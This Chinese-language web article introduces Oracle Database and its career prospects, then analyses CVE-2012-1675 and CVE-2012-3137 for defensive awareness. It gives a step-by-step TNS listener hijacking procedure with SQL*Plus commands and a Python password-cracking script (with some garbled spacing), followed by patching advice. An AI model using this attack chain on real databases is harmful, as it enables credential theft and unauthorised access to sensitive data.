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Oracle數(shù)據(jù)庫基本知識
Oracle Database，又名OracleRDBMS，或簡稱Oracle。是甲骨文公司的一款關(guān)系數(shù)據(jù)庫管理系統(tǒng)。本文為大家分享的是Oracle數(shù)據(jù)庫的基本知識，希望對大家有所幫助!
它是在數(shù)據(jù)庫領(lǐng)域一直處于領(lǐng)先地位的產(chǎn)品。可以說Oracle數(shù)據(jù)庫系統(tǒng)是目前世界上流行的關(guān)系數(shù)據(jù)庫管理系統(tǒng)，系統(tǒng)可移植性好、使用方便、功能強，適用于各類大、中、小、微機環(huán)境。它是一種高效率、可靠性好的適應高吞吐量的數(shù)據(jù)庫解決方案。
介紹
ORACLE數(shù)據(jù)庫系統(tǒng)是美國ORACLE公司(甲骨文)提供的以分布式數(shù)據(jù)庫為核心的一組軟件產(chǎn)品，是目前最流行的客戶/服務(wù)器(CLIENT/SERVER)或B/S體系結(jié)構(gòu)的數(shù)據(jù)庫之一。比如SilverStream就是基于數(shù)據(jù)庫的一種中間件。ORACLE數(shù)據(jù)庫是目前世界上使用最為廣泛的數(shù)據(jù)庫管理系統(tǒng)，作為一個通用的數(shù)據(jù)庫系統(tǒng)，它具有完整的數(shù)據(jù)管理功能;作為一個關(guān)系數(shù)據(jù)庫，它是一個完備關(guān)系的產(chǎn)品;作為分布式數(shù)據(jù)庫它實現(xiàn)了分布式處理功能。但它的所有知識，只要在一種機型上學習了ORACLE知識，便能在各種類型的機器上使用它。
Oracle數(shù)據(jù)庫最新版本為OracleDatabase 12c。Oracle數(shù)據(jù)庫12c引入了一個新的多承租方架構(gòu)，使用該架構(gòu)可輕松部署和管理數(shù)據(jù)庫云。此外，一些創(chuàng)新特性可最大限度地提高資源使用率和靈活性，如Oracle Multitenant可快速整合多個數(shù)據(jù)庫，而Automatic Data Optimization和Heat Map能以更高的密度壓縮數(shù)據(jù)和對數(shù)據(jù)分層。這些獨一無二的技術(shù)進步再加上在可用性、安全性和大數(shù)據(jù)支持方面的主要增強，使得Oracle數(shù)據(jù)庫12c 成為私有云和公有云部署的理想平臺。
就業(yè)前景
從就業(yè)與擇業(yè)的角度來講，計算機相關(guān)專業(yè)的大學生從事oracle方面的技術(shù)是職業(yè)發(fā)展中的最佳選擇。
其一、就業(yè)面廣：ORACLE幫助拓展技術(shù)人員擇業(yè)的廣度，全球前100強企業(yè)99家都在使用ORACLE相關(guān)技術(shù)，中國政府機構(gòu)，大中型企事業(yè)單位都能有ORACLE技術(shù)的工程師崗位，大學生在校期間興趣廣泛，每個人興趣特長各異，不論你想進入金融行業(yè)還是電信行業(yè)或者政府機構(gòu)，ORACLE都能夠在你的職業(yè)發(fā)展中給你最強有力的支撐，成為你最貼身的金飯碗。
其二、技術(shù)層次深：如果期望進入IT服務(wù)或者產(chǎn)品公司，Oracle技術(shù)能夠幫助提高就業(yè)的深度。Oracle技術(shù)已經(jīng)成為全球每個IT公司必選的軟件技術(shù)之一，熟練掌握Oracle技術(shù)能夠為從業(yè)人員帶來技術(shù)應用上的優(yōu)勢，同時為IT技術(shù)的深入應用起到非常關(guān)鍵的作用。掌握 Oracle技術(shù)，是IT從業(yè)人員了解全面信息化整體解決方案的基礎(chǔ)。
其三、職業(yè)方向多：Oracle數(shù)據(jù)庫管理方向、Oracle開發(fā)及系統(tǒng)架構(gòu)方向、Oracle數(shù)據(jù)建模數(shù)據(jù)倉庫等方向。
Oracle數(shù)據(jù)庫漏洞分析：無需用戶名和密碼進入你的數(shù)據(jù)庫
一般性的數(shù)據(jù)庫漏洞，都是在成功連接或登錄數(shù)據(jù)庫后實現(xiàn)入侵;本文介紹兩個在2012年暴露的Oracle漏洞，通過這兩種漏洞的結(jié)合，可以在不掌握用戶名/密碼的情況下入侵Oracle，從而完成對數(shù)據(jù)的竊取或者破壞。這兩個漏洞就是CVE-2012-1675和CVE-2012-3137。
引言
國內(nèi)外很多重要的系統(tǒng)都采用Oracle作為數(shù)據(jù)存儲的數(shù)據(jù)庫;在Oracle中存儲著企業(yè)或政府大量敏感的信息，在金錢或政治的誘導下，內(nèi)外部黑客會想法利用管理、網(wǎng)絡(luò)、主機或數(shù)據(jù)庫的自身漏洞嘗試入侵到數(shù)據(jù)庫中，以達到自身的目的。
本文的作者通過對Oracle倆種漏洞的組合研究，設(shè)計了一套在不掌握用戶名/密碼的方式入侵到Oracle中;這種方法，比傳統(tǒng)的需要登錄到數(shù)據(jù)庫中的入侵方法，具有更大的安全隱患和破壞性。
本文希望通過對這兩個漏洞和攻擊方法的介紹，能夠引起相關(guān)人員的重視，完善對數(shù)據(jù)庫安全的措施。
1、概要介紹
本文提供的方法是基于漏洞CVE-2012-1675和CVE-2012-3137對oracle數(shù)據(jù)庫的攻擊測試的方法。
CVE-2012-1675漏洞是Oracle允許攻擊者在不提供用戶名/密碼的情況下，向遠程“TNS Listener”組件處理的數(shù)據(jù)投毒的漏洞。攻擊者可利用此漏洞將數(shù)據(jù)庫服務(wù)器的合法“TNS Listener”組件中的數(shù)據(jù)轉(zhuǎn)向到攻擊者控制的系統(tǒng)，導致控制遠程組件的數(shù)據(jù)庫實例，造成組件和合法數(shù)據(jù)庫之間的中間人攻擊、會話劫持或拒絕服務(wù)攻擊。
CVE-2012-3137漏洞是Oracle Database 10g/11g身份驗證協(xié)議實現(xiàn)中存在一個設(shè)計缺陷，攻擊者無需認證即可遠程獲取數(shù)據(jù)庫用戶密碼哈希相關(guān)數(shù)據(jù)，從而可以離線暴力破解用戶密碼，進一步控制數(shù)據(jù)庫系統(tǒng)。
我們通過如下的步驟和過程可以實現(xiàn)對Oracle的入侵：
(1)利用CVE-2012-1675進行TNS劫持，在監(jiān)聽下利用遠程注冊，注冊同名數(shù)據(jù)庫實例;
(2)新登陸的用戶，在TNS的負載均衡策略下，有可能流量登錄到偽造的監(jiān)聽服務(wù)上;
(3)該監(jiān)聽服務(wù)對用戶的登陸過程進行監(jiān)控，并將相關(guān)數(shù)據(jù)流量轉(zhuǎn)發(fā)到真實的數(shù)據(jù)庫上;
(4)利用CVE-2012-3137獲得通訊過程中的認證相關(guān)信息;
(5)對認證相關(guān)信息進行離線的暴力破解，獲得登陸的密碼;
(6)試用破解的用戶名/密碼登陸Oracle，完成對Oracle中數(shù)據(jù)的訪問;
2、通過CVE-2012-1675進行TNS劫持
該漏洞存在于Oracle的所有版本，并且Oracle至今僅是發(fā)布了警告性通知，并未提供解決方案。
要想利用CVE-2012-1675漏洞做TNS劫持，首先需要了解TNS機制。如下圖所示oracle 通過在本地解析網(wǎng)絡(luò)服務(wù)名到目標主機IP地址，服務(wù)端口號，目標數(shù)據(jù)庫名，把這些信息發(fā)送到oracle服務(wù)器端監(jiān)聽程序，最后再由監(jiān)聽程序遞送DBMS。
其中關(guān)鍵點在于監(jiān)聽會按照目標數(shù)據(jù)庫名遞送到名稱正確的數(shù)據(jù)庫。那么如果一個監(jiān)聽下有2個同名數(shù)據(jù)庫。監(jiān)聽將自動按照負載均衡把這次訪問發(fā)送到負載低的數(shù)據(jù)庫上，進行連接訪問。數(shù)據(jù)庫注冊到監(jiān)聽的方法就決定了，能否同時注冊同名數(shù)據(jù)庫在同一個監(jiān)聽下。注冊方式分為本地注冊和遠程注冊，通過修改參數(shù)可以調(diào)整為遠程注冊。
下面是一段可用的TNS劫持的過程：
1.在劫持機上創(chuàng)建一個和目標數(shù)據(jù)庫實例同名的數(shù)據(jù)庫實例。
2.在劫持機上修改 tnsnames.ora 文件
添加
listener_name=
(DESCRIPTION=
(ADDRESS=(PROTOCOL=tcp)(HOST=目標機器IP)(PORT=目標機器端口)))
3.在劫持機上用SQL*Plus 順序執(zhí)行下面步驟。
1.$ sqlplus / as sysdba
2. SQL> ALTER SYSTEM SETREMOTE_LISTENER='LISTENER_NAME';
3. SQL> ALTER SYSTEM REGISTER;
4.多個客戶端，向數(shù)據(jù)庫發(fā)起登錄。會劫持到一部分客戶端的登錄信息。
最終達到效果如下圖所示：
按照猜想同一個監(jiān)聽下有2個同名實例�？蛻舳嗽L問監(jiān)聽，監(jiān)聽按照客戶端中的數(shù)據(jù)庫名信息分配數(shù)據(jù)庫，由于監(jiān)聽下有2個同名數(shù)據(jù)庫，客戶端鏈接很可能會被分配到劫持者的數(shù)據(jù)庫實例下，再通過配置劫持者的本地監(jiān)聽把客戶端請求指回原數(shù)據(jù)庫。結(jié)構(gòu)圖如下：
測試客戶端鏈接196次。目標數(shù)據(jù)庫實例獲得113次，劫持數(shù)據(jù)庫實例獲得83次基本滿足負載均衡的假設(shè)。(注上面實例是local server 下面實例是 remote server)
通過以上方式我們可以截獲約一半左右客戶端發(fā)送到服務(wù)器的合法鏈接。其中獲得了服務(wù)器IP、端口號、數(shù)據(jù)庫位置、實例名、登錄用戶名等一系列明文信息和4組密文信息(AUTH_SESSKEY，AUTH_SESSKEY_CLIENT，AUTH_PASSWORD，AUTH_VFR_DATA)。
3、通過CVE-2012-3137進行密碼破解
CVE-2012-3137受影響的數(shù)據(jù)庫版本有11.2.0.3，11.2.0.2，11.1.0.7,有使用了SHA-1加密算法的10.2.0.5和10.2.0.4，還有使用了SHA-1的10.2.0.3(運行在z/OS下)版本。
雖然這個漏洞在11.2.0.3中已經(jīng)解決，但是僅僅數(shù)據(jù)庫客戶端和服務(wù)器都升級到11.2.0.3并且sqlnet.ora文件中增加SQLNET.ALLOWED_LOGON_VERSION=12才有效。
正如CVE-2012-3137所描述Oracle為了防止第三方通過網(wǎng)絡(luò)獲取登錄信息包。而對密碼進行了加密處理。本部分只以oracle11.1密碼如何破解為例進行說明。
在發(fā)起連接之后(oracle牽手完成)，客戶端和服務(wù)器經(jīng)過協(xié)商確定要使用的驗證協(xié)議。要完成這個任務(wù)，客戶端首先向數(shù)據(jù)庫發(fā)送一個包。包中包含客戶端主要信息和所請求的加密方式。數(shù)據(jù)庫確認加密方式有效后，發(fā)送一個確認服務(wù)包如下圖所示：
在通過安全網(wǎng)絡(luò)服務(wù)完成任何所要求的協(xié)議之后，數(shù)據(jù)庫用戶被O3logon(oracle驗證方式) 進行驗證，這個協(xié)議執(zhí)行一個序列來向數(shù)據(jù)庫證明客戶端擁有密碼。為了避免網(wǎng)絡(luò)第三方截獲到密碼。首先客戶端發(fā)送用戶名到數(shù)據(jù)庫來表明用戶身份。數(shù)據(jù)庫端根據(jù)加密協(xié)議，其中96位的作為數(shù)據(jù)庫端密鑰，20位的作為偏移量，它對每個連接都是不同的。一個典型的數(shù)據(jù)庫端發(fā)給客戶端的密鑰如下：
AUTH_SESSKEY.....COCDD89FIGODKWASDF……………………
客戶端根據(jù)加密算法向服務(wù)器端發(fā)送96位的客戶端密鑰和64位的密碼密鑰。服務(wù)器端計算客戶端傳入的密碼密鑰。如果計算后密碼密文和數(shù)據(jù)庫中存儲的16位密碼密文一致則驗證通過。
根據(jù)這個過程可知上面TNS劫持包中取得的加密信息：AUTH_SESSKEY，AUTH_SESSKEY_CLIENT，AUTH_PASSWORD，AUTH_VFR_DATA這四個值是解密的關(guān)鍵。我們把他們按照SHA1,MD5，AES192進行一系列處理。最終通過數(shù)據(jù)字典碰撞得到密碼明文。
下面這段網(wǎng)上公布的一段示例代碼，這段代碼與筆者的思路不完全相同，但也能大概地說明這個漏洞的攻擊過程：
import hashlib
from Crypto.Cipher import AES
def decrypt(session,salt,password):
pass_hash= hashlib.sha1(password+salt)
key =pass_hash.digest() + '\x00\x00\x00\x00'
decryptor= AES.new(key,AES.MODE_CBC)
plain =decryptor.decrypt(session)
returnplain
session_hex ='EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767'
salt_hex = 'A7193E546377EC56639E'
passwords = ['test','password',''oracle','demo']
for password in passwords:
session_id= decrypt(session_hex.decode('hex'),salt_hex.decode('hex'),password)
print'Decrypted session_id for password "%s" is %s' %(password,session_id.encode('hex'))
ifsession_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08':
print'PASSWORD IS "%s"' % password
break
4、建議的預防措施
根據(jù)以上兩段分析，我們可以有如下的預防措施：
(1)在條件許可的情況下，對Oracle進行補丁升級，對Oracle打cpuoct2012-1515893補丁;注意對于cpuoct2012-1515893補丁要求服務(wù)器端和應用服務(wù)器端同時升級，否則應用系統(tǒng)將無法訪問Oracle;
(2)若無法對Oracle升級，要購買或安裝具備虛擬補丁功能的數(shù)據(jù)庫安全產(chǎn)品，防止對CVE-2012-3137和CVE-2012-1675的利用;
(3)建立足夠強健的口令，不要使用8位以下密碼，或者字典庫中的口令。
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